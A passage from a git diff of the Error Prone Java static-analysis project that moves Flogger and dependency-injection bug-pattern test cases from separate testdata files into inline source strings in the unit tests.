toLog.getKey(), Arrays.toString(toLog.getValue().toArray())); - } - } - } - - public void differentLevels(FluentLogger logger) { - if (logger.atFine().isEnabled()) { - logger.atInfo().log("This is weird but not necessarily wrong"); - } - } - - public void checkAtInfo(TestLogger notALogger, FluentLogger logger2) { - if (notALogger.atInfo().isEnabled()) { - logger2.atInfo().log("test"); - } - } - - public void checkAtInfo(TestLogger notALogger) { - if (notALogger.atInfo() == null) { - notALogger.atInfo(); - } - } - - public void checkMethods(FluentLogger logger) { - if (logger.atInfo().isEnabled()) { - atInfo(); - isEnabled(); - } - } - - public void multipleLines(FluentLogger logger) { - if (logger.atInfo().isEnabled()) { - int foo = 10; - logger.atInfo().log("test"); - } - } - - public boolean atInfo() { - return true; - } - - public boolean isEnabled() { - return true; - } - - private class TestLogger { - public TestLogger atInfo() { - return null; - } - - public boolean isEnabled() { - return true; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/flogger/testdata/FloggerRedundantIsEnabledPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/flogger/testdata/FloggerRedundantIsEnabledPositiveCases.java deleted file mode 100644 index 17b804c28be..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/flogger/testdata/FloggerRedundantIsEnabledPositiveCases.java +++ /dev/null @@ -1,116 +0,0 @@ -/* - * Copyright 2020 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.flogger.testdata; - -import com.google.common.flogger.FluentLogger; - -/** Created by mariasam on 7/17/17. */ -class FloggerRedundantIsEnabledPositiveCases { - - public void basicCase(FluentLogger logger) { - // BUG: Diagnostic contains: redundant - if (logger.atInfo().isEnabled()) { - logger.atInfo().log("test"); - } - } - - public void nestedIf(FluentLogger logger) { - if (7 == 7) { - // BUG: Diagnostic contains: redundant - if (logger.atInfo().isEnabled()) { - logger.atInfo().log("test"); - } - } - } - - public void checkBinaryInIf(FluentLogger logger) { - // BUG: Diagnostic contains: redundant - if (7 == 7 && logger.atInfo().isEnabled()) { - logger.atInfo().log("test"); - } - } - - public void checkBinaryOtherWay(FluentLogger logger) { - // BUG: Diagnostic contains: redundant - if (logger.atInfo().isEnabled() && 7 == 7) { - logger.atInfo().log("test"); - } - } - - public void complexBinary(FluentLogger logger) { - // BUG: Diagnostic contains: redundant - if (7 == 7 && (logger != null && logger.atInfo().isEnabled())) { - logger.atInfo().log("test"); - } - } - - public void negated(FluentLogger logger) { - // BUG: Diagnostic contains: redundant - if (!logger.atInfo().isEnabled()) { - logger.atInfo().log("test"); - } - } - - public void binaryNegated(FluentLogger logger) { - // BUG: Diagnostic contains: redundant - if (!logger.atInfo().isEnabled() && 7 == 7) { - logger.atInfo().log("test"); - } - } - - public void checkConfig(FluentLogger logger) { - // BUG: Diagnostic contains: redundant - if (logger.atConfig().isEnabled()) { - logger.atConfig().log("test"); - } - } - - public void checkFine(FluentLogger logger) { - // BUG: Diagnostic contains: redundant - if (logger.atFine().isEnabled()) { - logger.atFine().log("test"); - } - } - - public void checkFiner(FluentLogger logger) { - // BUG: Diagnostic contains: redundant - if (logger.atFiner().isEnabled()) { - logger.atFiner().log("test"); - } - } - - public void checkFinest(FluentLogger logger) { - // BUG: Diagnostic contains: redundant - if (logger.atFinest().isEnabled()) { - logger.atFinest().log("test"); - } - } - - public void checkWarning(FluentLogger logger) { - // BUG: Diagnostic contains: redundant - if (logger.atWarning().isEnabled()) { - logger.atWarning().log("test"); - } - } - - public void checkSevere(FluentLogger logger) { - // BUG: Diagnostic contains: redundant - if (logger.atSevere().isEnabled()) { - logger.atSevere().log("test"); - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/flogger/testdata/FloggerRedundantIsEnabledPositiveCases_expected.java b/core/src/test/java/com/google/errorprone/bugpatterns/flogger/testdata/FloggerRedundantIsEnabledPositiveCases_expected.java deleted file mode 100644 index 21113e2e017..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/flogger/testdata/FloggerRedundantIsEnabledPositiveCases_expected.java +++ /dev/null @@ -1,87 +0,0 @@ -/* - * Copyright 2020 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.flogger.testdata; - -import com.google.common.flogger.FluentLogger; - -/** - * @author mariasam@google.com (Maria Sam) - */ -class FloggerRedundantIsEnabledPositiveCases { - - public void basicCase(FluentLogger logger) { - logger.atInfo().log("test"); - } - - public void nestedIf(FluentLogger logger) { - if (7 == 7) { - logger.atInfo().log("test"); - } - } - - public void checkBinaryInIf(FluentLogger logger) { - if (7 == 7) { - logger.atInfo().log("test"); - } - } - - public void checkBinaryOtherWay(FluentLogger logger) { - if (7 == 7) { - logger.atInfo().log("test"); - } - } - - public void complexBinary(FluentLogger logger) { - if (7 == 7 && (logger != null)) { - logger.atInfo().log("test"); - } - } - - public void negated(FluentLogger logger) { - logger.atInfo().log("test"); - } - - public void binaryNegated(FluentLogger logger) { - if (7 == 7) { - logger.atInfo().log("test"); - } - } - - public void checkConfig(FluentLogger logger) { - logger.atConfig().log("test"); - } - - public void checkFine(FluentLogger logger) { - logger.atFine().log("test"); - } - - public void checkFiner(FluentLogger logger) { - logger.atFiner().log("test"); - } - - public void checkFinest(FluentLogger logger) { - logger.atFinest().log("test"); - } - - public void checkWarning(FluentLogger logger) { - logger.atWarning().log("test"); - } - - public void checkSevere(FluentLogger logger) { - logger.atSevere().log("test"); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/AssistedInjectAndInjectOnConstructorsTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/AssistedInjectAndInjectOnConstructorsTest.java index 1770f10628e..ae7a671583b 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/AssistedInjectAndInjectOnConstructorsTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/inject/AssistedInjectAndInjectOnConstructorsTest.java @@ -33,14 +33,119 @@ public class AssistedInjectAndInjectOnConstructorsTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/AssistedInjectAndInjectOnConstructorsPositiveCases.java") + .addSourceLines( + "AssistedInjectAndInjectOnConstructorsPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.inject.testdata; + +import com.google.inject.assistedinject.AssistedInject; + +/** + * @author sgoldfeder@google.com (Steven Goldfeder) + */ +public class AssistedInjectAndInjectOnConstructorsPositiveCases { + /** + * Class has a constructor annotated with @javax.inject.Inject and another constructor annotated + * with @AssistedInject. + */ + // BUG: Diagnostic contains: AssistedInjectAndInjectOnConstructors + public class TestClass1 { + @javax.inject.Inject + public TestClass1() {} + + @AssistedInject + public TestClass1(int n) {} + } + + /** + * Class has a constructor annotated with @com.google.inject.Inject and another constructor + * annotated with @AssistedInject. + */ + // BUG: Diagnostic contains: AssistedInjectAndInjectOnConstructors + public class TestClass2 { + @com.google.inject.Inject + public TestClass2() {} + + @AssistedInject + public TestClass2(int n) {} + } + + /** + * Class has a constructor annotated with @com.google.inject.Inject, another constructor annotated + * with @AssistedInject, and a third constructor with no annotation. + */ + // BUG: Diagnostic contains: AssistedInjectAndInjectOnConstructors + public class TestClass3 { + @com.google.inject.Inject + public TestClass3() {} + + @AssistedInject + public TestClass3(int n) {} + + public TestClass3(String s) {} + } +}""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/AssistedInjectAndInjectOnConstructorsNegativeCases.java") + .addSourceLines( + "AssistedInjectAndInjectOnConstructorsNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.inject.testdata; + +import com.google.inject.assistedinject.AssistedInject; + +/** + * @author sgoldfeder@google.com (Steven Goldfeder) + */ +public class AssistedInjectAndInjectOnConstructorsNegativeCases { + /** Class has a single constructor with no annotation. */ + public class TestClass1 { + TestClass1() {} + } + + /** Class has a constructor with a @javax.inject.Inject annotation. */ + public class TestClass2 { + @javax.inject.Inject + public TestClass2() {} + } + + /** Class has a constructor with a @com.google.inject.Inject annotation. */ + public class TestClass3 { + @com.google.inject.Inject + public TestClass3() {} + } + + /** Class has a constructor annotated with @AssistedInject */ + public class TestClass4 { + @AssistedInject + public TestClass4() {} + } + + /** Class has a constructor with a @AssistedInject annotation as well as an injectable field */ + public class TestClass5 { + @javax.inject.Inject private int n; + + @AssistedInject + public TestClass5() {} + } + + /** + * Class has a constructor annotated with @javax.inject.Inject and another constructor annotated + * with @AssistedInject. The warning is suppressed. + */ + @SuppressWarnings("AssistedInjectAndInjectOnConstructors") + public class TestClass6 { + @javax.inject.Inject + public TestClass6() {} + + @AssistedInject + public TestClass6(int n) {} + } +}""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/AssistedInjectAndInjectOnSameConstructorTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/AssistedInjectAndInjectOnSameConstructorTest.java index 8f5adc776c0..b0aa1b95a74 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/AssistedInjectAndInjectOnSameConstructorTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/inject/AssistedInjectAndInjectOnSameConstructorTest.java @@ -33,14 +33,115 @@ public class AssistedInjectAndInjectOnSameConstructorTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/AssistedInjectAndInjectOnSameConstructorPositiveCases.java") + .addSourceLines( + "AssistedInjectAndInjectOnSameConstructorPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.inject.testdata; + +import com.google.inject.assistedinject.AssistedInject; + +/** + * @author sgoldfeder@google.com (Steven Goldfeder) + */ +public class AssistedInjectAndInjectOnSameConstructorPositiveCases { + /** Class has a constructor annotated with @javax.inject.Inject and @AssistedInject. */ + public class TestClass1 { + // BUG: Diagnostic contains: remove + @javax.inject.Inject + // BUG: Diagnostic contains: remove + @AssistedInject + public TestClass1() {} + } + + /** Class has a constructor annotated with @com.google.inject.Inject and @AssistedInject. */ + public class TestClass2 { + // BUG: Diagnostic contains: remove + @com.google.inject.Inject + // BUG: Diagnostic contains: remove + @AssistedInject + public TestClass2() {} + } +}""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/AssistedInjectAndInjectOnSameConstructorNegativeCases.java") + .addSourceLines( + "AssistedInjectAndInjectOnSameConstructorNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.inject.testdata; + +import com.google.inject.assistedinject.AssistedInject; + +/** + * @author sgoldfeder@google.com (Steven Goldfeder) + */ +public class AssistedInjectAndInjectOnSameConstructorNegativeCases { + /** Class has a single constructor with no annotation. */ + public class TestClass1 { + TestClass1() {} + } + + /** Class has a constructor with a @javax.inject.Inject annotation. */ + public class TestClass2 { + @javax.inject.Inject + public TestClass2() {} + } + + /** Class has a constructor with a @com.google.injectInject annotation. */ + public class TestClass3 { + @com.google.inject.Inject + public TestClass3() {} + } + + /** Class has a constructor annotated with @AssistedInject */ + public class TestClass4 { + @AssistedInject + public TestClass4() {} + } + + /** Class has one constructor with a @AssistedInject and one with @javax.inject.inject . */ + public class TestClass5 { + @javax.inject.Inject + public TestClass5(int n) {} + + @AssistedInject + public TestClass5() {} + } + + /** Class has one constructor with a @AssistedInject and one with @javax.inject.inject . */ + public class TestClass6 { + @com.google.inject.Inject + public TestClass6(int n) {} + + @AssistedInject + public TestClass6() {} + } + + /** + * Class has a constructor annotated with @javax.inject.Inject and @AssistedInject. Error is + * suppressed. + */ + @SuppressWarnings("AssistedInjectAndInjectOnSameConstructor") + public class TestClass7 { + @javax.inject.Inject + @AssistedInject + public TestClass7() {} + } + + /** + * Class has a constructor annotated with @com.google.inject.Inject and @AssistedInject. Error is + * suppressed. + */ + @SuppressWarnings("AssistedInjectAndInjectOnSameConstructor") + public class TestClass8 { + @com.google.inject.Inject + @AssistedInject + public TestClass8() {} + } +}""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/AutoFactoryAtInjectTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/AutoFactoryAtInjectTest.java index 70f6e484e66..471f873e928 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/AutoFactoryAtInjectTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/inject/AutoFactoryAtInjectTest.java @@ -32,11 +32,78 @@ public class AutoFactoryAtInjectTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/AutoFactoryAtInjectPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "AutoFactoryAtInjectPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.inject.testdata; + + import com.google.auto.factory.AutoFactory; + import javax.inject.Inject; + + class AssistedInjectAndInjectOnSameConstructorPositiveCases { + + @AutoFactory + static class HasAutoFactoryOnClass { + // BUG: Diagnostic contains: remove + @Inject + HasAutoFactoryOnClass() {} + } + + @AutoFactory + static class UsesGuiceInject { + // BUG: Diagnostic contains: remove + @com.google.inject.Inject + UsesGuiceInject() {} + } + + static class HasAutoFactoryOnConstructor { + // BUG: Diagnostic contains: remove + @Inject + @AutoFactory + HasAutoFactoryOnConstructor() {} + } + }""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/AutoFactoryAtInjectNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "AutoFactoryAtInjectNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.inject.testdata; + + import com.google.auto.factory.AutoFactory; + import javax.inject.Inject; + + class AutoFactoryAtInjectNegativeCases { + + @AutoFactory + static class AtInjectOnInnerType { + static class InnerType { + @Inject + InnerType() {} + } + } + + static class AutoFactoryOnInnerType { + @Inject + AutoFactoryOnInnerType() {} + + @AutoFactory + static class InnerType {} + } + + static class OnDifferentConstructors { + @Inject + OnDifferentConstructors(String string) {} + + @AutoFactory + OnDifferentConstructors(Object object) {} + } + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/CloseableProvidesTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/CloseableProvidesTest.java index 2c713482554..2e366812005 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/CloseableProvidesTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/inject/CloseableProvidesTest.java @@ -32,11 +32,78 @@ public class CloseableProvidesTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/CloseableProvidesPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "CloseableProvidesPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.inject.testdata; + + import com.google.inject.Provides; + import java.io.Closeable; + import java.io.PrintWriter; + import java.nio.charset.StandardCharsets; + import javax.inject.Singleton; + + /** + * @author bhagwani@google.com (Sumit Bhagwani) + */ + public class CloseableProvidesPositiveCases { + + static class ImplementsClosable implements Closeable { + public void close() { + // no op + } + } + + @Provides + // BUG: Diagnostic contains: CloseableProvides + ImplementsClosable providesImplementsClosable() { + return new ImplementsClosable(); + } + + @Provides + @Singleton + // BUG: Diagnostic contains: CloseableProvides + PrintWriter providesPrintWriter() throws Exception { + return new PrintWriter("some_file_path", StandardCharsets.UTF_8.name()); + } + }""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/CloseableProvidesNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "CloseableProvidesNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.inject.testdata; + + import com.google.inject.Provides; + import javax.inject.Singleton; + + /** + * @author bhagwani@google.com (Sumit Bhagwani) + */ + public class CloseableProvidesNegativeCases { + + static class DoesNotImplementsClosable { + public void close() { + // no op + } + } + + @Provides + DoesNotImplementsClosable providesDoesNotImplementsClosable() { + return new DoesNotImplementsClosable(); + } + + @Provides + @Singleton + Object providesObject() { + return new Object(); + } + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/InjectOnMemberAndConstructorTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/InjectOnMemberAndConstructorTest.java index 1962e6b28c8..0cb41dabbdf 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/InjectOnMemberAndConstructorTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/inject/InjectOnMemberAndConstructorTest.java @@ -80,7 +80,40 @@ public InjectOnMemberAndConstructorPositiveCases( @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/InjectOnMemberAndConstructorNegativeCases.java") + .addSourceLines( + "InjectOnMemberAndConstructorNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.inject.testdata; + + import javax.inject.Inject; + + /** + * Negative test cases for {@link InjectOnMemberAndConstructor} check. + * + * @author bhagwani@google.com (Sumit Bhagwani) + */ + public class InjectOnMemberAndConstructorNegativeCases { + + public class InjectOnConstructorOnly { + private final String stringFieldWithoutInject; + + @Inject + public InjectOnConstructorOnly(String stringFieldWithoutInject) { + this.stringFieldWithoutInject = stringFieldWithoutInject; + } + } + + public class InjectOnFieldOnly { + @Inject private String stringFieldWithInject; + } + + public class MixedInject { + @Inject private String stringFieldWithInject; + + @Inject + public MixedInject() {} + } + }""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/InjectedConstructorAnnotationsTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/InjectedConstructorAnnotationsTest.java index aec5f90490f..1b966c9a261 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/InjectedConstructorAnnotationsTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/inject/InjectedConstructorAnnotationsTest.java @@ -31,14 +31,86 @@ public class InjectedConstructorAnnotationsTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/InjectedConstructorAnnotationsPositiveCases.java") + .addSourceLines( + "InjectedConstructorAnnotationsPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.inject.testdata; + + import com.google.inject.BindingAnnotation; + import com.google.inject.Inject; + + /** A positive test case for InjectedConstructorAnnotation. */ + public class InjectedConstructorAnnotationsPositiveCases { + + /** A binding annotation. */ + @BindingAnnotation + public @interface TestBindingAnnotation { + } + + /** A class with an optionally injected constructor. */ + public class TestClass1 { + // BUG: Diagnostic contains: @Inject public TestClass1 + @Inject(optional = true) public TestClass1() {} + } + + /** A class with an injected constructor that has a binding annotation. */ + public class TestClass2 { + // BUG: Diagnostic contains: @Inject public TestClass2 + @TestBindingAnnotation @Inject public TestClass2() {} + } + + /** A class whose constructor is optionally injected and has a binding annotation. */ + public class TestClass3 { + // BUG: Diagnostic contains: @Inject public TestClass3 + @TestBindingAnnotation @Inject(optional = true) public TestClass3() {} + } + }""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/InjectedConstructorAnnotationsNegativeCases.java") + .addSourceLines( + "InjectedConstructorAnnotationsNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.inject.testdata; + + import com.google.inject.BindingAnnotation; + import com.google.inject.Inject; + + /** A negative test case for InjectedConstructorAnnotation. */ + public class InjectedConstructorAnnotationsNegativeCases { + + private @interface TestAnnotation {} + + @BindingAnnotation + private @interface TestBindingAnnotation {} + + /** A class with a constructor that has no annotations. */ + public class TestClass1 { + public TestClass1() {} + } + + /** A class with a constructor that has a binding Annotation. */ + public class TestClass2 { + @TestBindingAnnotation + public TestClass2() {} + } + + /** A class with an injected constructor. */ + public class TestClass3 { + @Inject + public TestClass3() {} + } + + /** A class with an injected constructor that has a non-binding annotation. */ + public class TestClass4 { + @Inject + @TestAnnotation + public TestClass4() {} + } + }""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/InvalidTargetingOnScopingAnnotationTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/InvalidTargetingOnScopingAnnotationTest.java index 75589171270..ceeaf68d6f0 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/InvalidTargetingOnScopingAnnotationTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/inject/InvalidTargetingOnScopingAnnotationTest.java @@ -33,14 +33,119 @@ public class InvalidTargetingOnScopingAnnotationTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/InvalidTargetingOnScopingAnnotationPositiveCases.java") + .addSourceLines( + "InvalidTargetingOnScopingAnnotationPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.inject.testdata; + + import static java.lang.annotation.ElementType.CONSTRUCTOR; + import static java.lang.annotation.ElementType.METHOD; + import static java.lang.annotation.ElementType.PARAMETER; + import static java.lang.annotation.ElementType.TYPE; + import static java.lang.annotation.RetentionPolicy.RUNTIME; + + import com.google.inject.ScopeAnnotation; + import java.lang.annotation.ElementType; + import java.lang.annotation.Retention; + import java.lang.annotation.Target; + import javax.inject.Scope; + + /** + * @author sgoldfeder@google.com(Steven Goldfeder) + */ + public class InvalidTargetingOnScopingAnnotationPositiveCases { + + /** Scoping excludes METHOD */ + // BUG: Diagnostic contains: @Target({TYPE, METHOD}) + @Target(TYPE) + @Scope + @Retention(RUNTIME) + public @interface TestAnnotation1 {} + + /** Scoping excludes TYPE */ + // BUG: Diagnostic contains: @Target({TYPE, METHOD}) + @Target(METHOD) + @Scope + @Retention(RUNTIME) + public @interface TestAnnotation2 {} + + /** Scoping excludes both, but has other elements to preserve */ + // BUG: Diagnostic contains: @Target({TYPE, METHOD, PARAMETER}) + @Target(PARAMETER) + @Scope + @Retention(RUNTIME) + public @interface TestAnnotation4 {} + + /** Scoping includes one of the required ones. */ + // BUG: Diagnostic contains: @Target({TYPE, METHOD, PARAMETER, CONSTRUCTOR}) + @Target({PARAMETER, METHOD, CONSTRUCTOR}) + @Scope + @Retention(RUNTIME) + public @interface TestAnnotation5 {} + + /** Same as above, but with a different physical manifestation */ + // BUG: Diagnostic contains: @Target({TYPE, METHOD, PARAMETER, CONSTRUCTOR}) + @Target(value = {ElementType.PARAMETER, METHOD, CONSTRUCTOR}) + @Scope + @Retention(RUNTIME) + public @interface TestAnnotation6 {} + + /** Target annotation is empty, nonsensical since it can't be applied to anything */ + // BUG: Diagnostic contains: @Target({TYPE, METHOD}) + @Target({}) + @ScopeAnnotation + @Retention(RUNTIME) + public @interface TestAnnotation7 {} + }""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/InvalidTargetingOnScopingAnnotationNegativeCases.java") + .addSourceLines( + "InvalidTargetingOnScopingAnnotationNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.inject.testdata; + +import static java.lang.annotation.ElementType.METHOD; +import static java.lang.annotation.ElementType.PARAMETER; +import static java.lang.annotation.ElementType.TYPE; +import static java.lang.annotation.RetentionPolicy.RUNTIME; + +import java.lang.annotation.Retention; +import java.lang.annotation.Target; +import javax.inject.Scope; + +/** + * @author sgoldfeder@google.com(Steven Goldfeder) + */ +public class InvalidTargetingOnScopingAnnotationNegativeCases { + + /** A scoping annotation with no specified target. */ + @Scope + @Retention(RUNTIME) + public @interface TestAnnotation1 {} + + /** A scoping annotation that contains more than the required */ + @Target({TYPE, METHOD, PARAMETER}) + @Scope + @Retention(RUNTIME) + public @interface TestAnnotation2 {} + + /** A scoping annotation with legal targeting. */ + @Target({TYPE, METHOD}) + @Scope + @Retention(RUNTIME) + public @interface TestAnnotation3 {} + + /** + * A non-scoping annotation with targeting that would be illegal if it were a scoping annotation. + */ + @Target(PARAMETER) + @Retention(RUNTIME) + public @interface TestAnnotation4 {} +}""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/JavaxInjectOnAbstractMethodTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/JavaxInjectOnAbstractMethodTest.java index 97cfff4fe67..98165d4c82d 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/JavaxInjectOnAbstractMethodTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/inject/JavaxInjectOnAbstractMethodTest.java @@ -33,14 +33,129 @@ public class JavaxInjectOnAbstractMethodTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/JavaxInjectOnAbstractMethodPositiveCases.java") + .addSourceLines( + "JavaxInjectOnAbstractMethodPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.inject.testdata; + +/** + * @author sgoldfeder@google.com (Steven Goldfeder) + */ +public class JavaxInjectOnAbstractMethodPositiveCases { + + /** Abstract class has an injectable(javax.inject.Inject) abstract method. */ + public abstract class TestClass1 { + // BUG: Diagnostic contains: remove + @javax.inject.Inject + abstract void abstractMethod(); + } + + /** + * Abstract class has an injectable(javax.inject.Inject) abstract method and an unrelated concrete + * method. + */ + public abstract class TestClass2 { + // BUG: Diagnostic contains: remove + @javax.inject.Inject + abstract void abstractMethod(); + + public void foo() {} + } + + /** + * Abstract class has an injectable(javax.inject.Inject) abstract method and an unrelated abstract + * method. + */ + public abstract class TestClass3 { + // BUG: Diagnostic contains: remove + @javax.inject.Inject + abstract void abstractMethod1(); + + abstract void abstractMethod2(); + } + + /** Interface with Inject method, should also fail. */ + public interface TestInterface { + // BUG: Diagnostic contains: remove + @javax.inject.Inject + void abstractMethod(); + } + + /** Concrete Implementer of interface. */ + public class Implementing implements TestInterface { + // No error here + public void abstractMethod() {} + } + + /** Abstract implementer of interface. */ + public abstract class AbstractImplementing implements TestInterface { + // BUG: Diagnostic contains: remove + @javax.inject.Inject + public abstract void abstractMethod(); + } + + interface HasDefault { + // BUG: Diagnostic contains: remove + @javax.inject.Inject + default void foo() {} + } +}""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/JavaxInjectOnAbstractMethodNegativeCases.java") + .addSourceLines( + "JavaxInjectOnAbstractMethodNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.inject.testdata; + +import javax.inject.Inject; + +/** + * @author sgoldfeder@google.com (Steven Goldfeder) + */ +public class JavaxInjectOnAbstractMethodNegativeCases { + + /** Concrete class has no methods or annotations. */ + public class TestClass1 {} + + /** Abstract class has a single abstract method with no annotation. */ + public abstract class TestClass2 { + abstract void abstractMethod(); + } + + /** Concrete class has an injectable method. */ + public class TestClass3 { + @Inject + public void foo() {} + } + + /** Abstract class has an injectable concrete method. */ + public abstract class TestClass4 { + abstract void abstractMethod(); + + @Inject + public void concreteMethod() {} + } + + /** + * Abstract class has an com.google.inject.Inject abstract method (This is allowed; Injecting + * abstract methods is only forbidden with javax.inject.Inject). + */ + public abstract class TestClass5 { + @com.google.inject.Inject + abstract void abstractMethod(); + } + + /** Abstract class has an injectable(javax.inject.Inject) abstract method. Error is suppressed. */ + public abstract class TestClass6 { + @SuppressWarnings("JavaxInjectOnAbstractMethod") + @javax.inject.Inject + abstract void abstractMethod(); + } +}""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/JavaxInjectOnFinalFieldTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/JavaxInjectOnFinalFieldTest.java index d46241f9d9b..561476448fc 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/JavaxInjectOnFinalFieldTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/inject/JavaxInjectOnFinalFieldTest.java @@ -31,11 +31,65 @@ public class JavaxInjectOnFinalFieldTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/JavaxInjectOnFinalFieldPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "JavaxInjectOnFinalFieldPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.inject.testdata; + + import javax.inject.Inject; + + /** + * @author sgoldfeder@google.com (Steven Goldfeder) + */ + public class JavaxInjectOnFinalFieldPositiveCases { + + /** + * Class has a final injectable(javax.inject.Inject) field. + */ + public class TestClass1 { + // BUG: Diagnostic contains: remove + @Inject + public final int n = 0; + } + }""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/JavaxInjectOnFinalFieldNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "JavaxInjectOnFinalFieldNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.inject.testdata; + + import javax.inject.Inject; + + /** + * @author sgoldfeder@google.com (Steven Goldfeder) + */ + public class JavaxInjectOnFinalFieldNegativeCases { + + /** Class has no final fields or @Inject annotations. */ + public class TestClass1 {} + + /** Class has a final field that is not injectable. */ + public class TestClass2 { + public final int n = 0; + } + + /** Class has an injectable(javax.inject.Inject) field that is not final. */ + public class TestClass3 { + @Inject public int n; + } + + /** Class has an injectable(javax.inject.Inject), final method. */ + public class TestClass4 { + @Inject + final void method() {} + } + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/MissingRuntimeRetentionTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/MissingRuntimeRetentionTest.java index db0b33651dd..0b7daeb5dc6 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/MissingRuntimeRetentionTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/inject/MissingRuntimeRetentionTest.java @@ -37,12 +37,139 @@ public class MissingRuntimeRetentionTest { @Test public void positiveCase() { - 